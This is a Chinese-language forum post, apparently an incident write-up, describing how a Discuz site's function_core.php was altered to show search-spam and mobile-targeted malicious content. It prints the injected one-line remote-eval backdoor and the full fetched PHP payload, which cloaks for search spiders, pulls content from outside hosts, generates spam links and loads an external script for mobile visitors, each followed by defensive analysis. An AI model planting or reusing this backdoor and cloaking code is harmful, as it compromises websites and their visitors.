热搜词
发表于 7 小时前 | 显示全部楼层 |阅读模式
Discuz 针对请求是来自搜索引擎并且是移动设备时,输出恶意内容到当前网站

现象:
一、在百度中搜索此网站链接时,发现百度中记录的网站标题的是错误的,感觉网站被注入了木马。
02.png

二、点击相关链接,发现在电脑浏览器中显示是正常,然后在模板一下移动端访问情况,发现移动端访问显示的恶意内容。

03.png

排查过程:
一、登录网站后台,校验文件,发现“function_core.php”文件被篡改。

01.png

二、打开“function_core.php”文件,发现在1272号左右,被植入了一段木马。代码如下:
  1. ini_set("display_errors", "off");eval('?>'.file_get_contents(base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2pzYzcudHh0')));
复制代码

04.png

这是一段典型的恶意 PHP 代码。下面为详细分析:

代码功能分析
ini_set("display_errors", "off");:此代码将 PHP 的错误显示功能关闭。这样做的目的是在代码执行过程中隐藏错误信息,使攻击者难以察觉恶意行为。
base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2pzYzcudHh0'):该代码对给定的 Base64 编码字符串进行解码,解码后的结果是一个 URL,即 http://10.gxc42.com/x/jsc7.txt
file_get_contents(...):这部分代码会从解码后的 URL 地址获取文件内容。
eval('?>'. ...):eval 函数会执行从 URL 获取到的内容。在代码开头添加 ?> 是为了跳出 PHP 代码块,因为获取的内容可能不是有效的 PHP 代码。

潜在风险
远程代码执行:攻击者可以在 http://10.gxc42.com/x/jsc7.txt 文件中放置任意恶意代码,当这段 PHP 代码执行时,恶意代码也会随之执行,从而可能导致服务器被控制、数据泄露等严重后果。
隐蔽性:通过关闭错误显示,使得代码执行过程中的异常难以被发现,增加了攻击的隐蔽性。

三、进一步访问 “http://10.gxc42.com/x/jsc7.txt” 文件中放置任意恶意代码,代码如下:
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. $a="stristr";
  5. $b=$_SERVER;
  6. function httpGetlai($c) {
  7. $d=curl_init();
  8. curl_setopt($d,CURLOPT_URL,$c);
  9. curl_setopt($d,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
  10. curl_setopt($d,CURLOPT_SSL_VERIFYPEER,FALSE);
  11. curl_setopt($d,CURLOPT_SSL_VERIFYHOST,FALSE);
  12. curl_setopt($d,CURLOPT_RETURNTRANSFER,1);
  13. curl_setopt($d,CURLOPT_HEADER,0);
  14. $e=curl_exec($d);
  15. curl_close($d);
  16. return $e;
  17. }
  18. define('url',$b['REQUEST_URI']);
  19. define('ref',!isset($b['HTTP_REFERER'])?'':$b['HTTP_REFERER']);
  20. define('ent',$b['HTTP_USER_AGENT']);
  21. define('site', "http://sgj.fre09.com/");
  22. define('road', "?road=".$b['HTTP_HOST'].url);
  23. define('memes',road."&referer=".urlencode(ref));
  24. define('regs','@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
  25. define('mobile','/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
  26. define('area', $a(url,"ben") or $a(url,"dy") or $a(url,"kkk") or $a(url,"ys") or $a(url,"ku") or $a(url,"du") or $a(url,"zkblw") or $a(url,"keyan") or $a(url,"zhuli") or $a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".tacc")or $a(url,".jsp")or $a(url,".asp")or $a(url,".ga")or $a(url,".gq")or $a(url,".pdx")or $a(url,".xlsx")or $a(url,".edu")or $a(url,".gov")or $a(url,"baike")or $a(url,".xls")or $a(url,".htx")or $a(url,".htt")or $a(url,".xhtml")or $a(url,".new")or $a(url,".do")or $a(url,".action")or $a(url,".frx")or $a(url,".csv")or $a(url,".docx")or $a(url,".xhtml")or $a(url,".shtml")or $a(url,"ben") );
  27. if(preg_match(regs,ent)) {
  28. if(area) {
  29. echo httpGetlai(site.road);
  30. exit();
  31. } else {
  32. function randCode($length, $type) {
  33. $arr = array(1 => "abcdefghijklmnopqrstuvwxyz", 2 => "0123456789");
  34. if($type == 0) {
  35. array_pop($arr);
  36. $string = implode("", $arr);
  37. } elseif($type == "-1") {
  38. $string = implode("", $arr);
  39. } else {
  40. $string = $arr[$type];
  41. }
  42. $count = strlen($string) - 1;
  43. for ($i = 0; $i < $length; $i++) {
  44. $str[$i] = $string[rand(0, $count)];
  45. $code .= $str[$i];
  46. }
  47. return $code;
  48. }
  49. $dirs=array("dy","ys","ku","du","zkblw","keyan","zhuli");
  50. $hzl=array("");
  51. echo '<a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"></a><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"></a><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"></a><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . randCode(mt_rand(2,6), 0).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . randCode(mt_rand(2,6), 0).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . randCode(mt_rand(2,6), 0).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . randCode(mt_rand(2,6), 0).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . randCode(mt_rand(2,6), 0).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . randCode(mt_rand(2,6), 0).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" .  date("Ymd") .rand(10000,99999999).'"><a href="/index.php/'.$dirs[array_rand($dirs)]."/" . date("Ymd") .rand(10000,99999999).'">';
  52. }
  53. }
  54. if(area&&preg_match(mobile,ent)) {
  55. echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL2pzLm1ydDMxLmNvbS9keS9keS5qcz48L3NjcmlwdD48L2JvZHk+PC9odG1sPgo=');
  56. exit;
  57. }
  58. ?>
复制代码

这段 PHP 代码是恶意代码,具有以下一些恶意行为和特点,存在严重的安全风险:
1.关闭错误报告和设置无时间限制:
set_time_limit(0); 取消了脚本执行的时间限制,可能导致脚本长时间占用服务器资源。
error_reporting(0); 关闭了 PHP 的错误报告功能,使得代码执行过程中的错误不会显示出来,增加了代码的隐蔽性,便于恶意操作不被轻易发现。

2.模拟搜索引擎爬虫行为:
使用 curl 库发送请求,并且设置 CURLOPT_USERAGENT 为百度爬虫的标识(Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)),尝试伪装成合法的搜索引擎爬虫。这可能是为了绕过一些网站对普通请求的限制,或者是为了进行恶意的爬取行为。

3.URL 分析和条件判断:
通过 $a="stristr"; 定义一个字符串搜索函数的别名,然后在 area 的条件判断中,使用 $a 函数对当前请求的 REQUEST_URI 进行大量的字符串匹配检查。如果 REQUEST_URI 中包含特定的关键词(如 ben、dy、ku 等),或者是特定的文件扩展名(如 .xml、.doc、.pdf 等),则 area 条件为真。

4.恶意跳转和内容获取:
当检测到请求是来自搜索引擎爬虫(preg_match(regs,ent) 为真)且 area 条件满足时,会通过 httpGetlai 函数从 http://sgj.fre09.com/ 这个外部站点获取内容并输出,可能会将恶意内容引入到当前网站。

5.生成大量无效链接:
如果上述条件不满足(即不是符合条件的爬虫请求或者 area 不满足),会通过循环生成大量的无效链接(如 /index.php/ 加上随机的目录名、日期和随机数字),这些链接可能是为了干扰搜索引擎的索引,或者是为了进行其他恶意的 SEO 操作。

6.针对移动设备的恶意内容输出:
如果 area 条件满足且检测到请求来自移动设备(preg_match(mobile,ent) 为真),会对一段 Base64 编码的内容进行解码并输出。解码后的内容是一段 HTML 代码,其中包含了一个外部 JavaScript 文件的引用(https://js.mrt31.com/dy/dy.js),该 JavaScript 文件可能包含恶意代码,用于对移动设备进行攻击或收集信息。

全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2025-4-28 19:03 , Processed in 0.666917 second(s), 26 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2025 Discuz! Team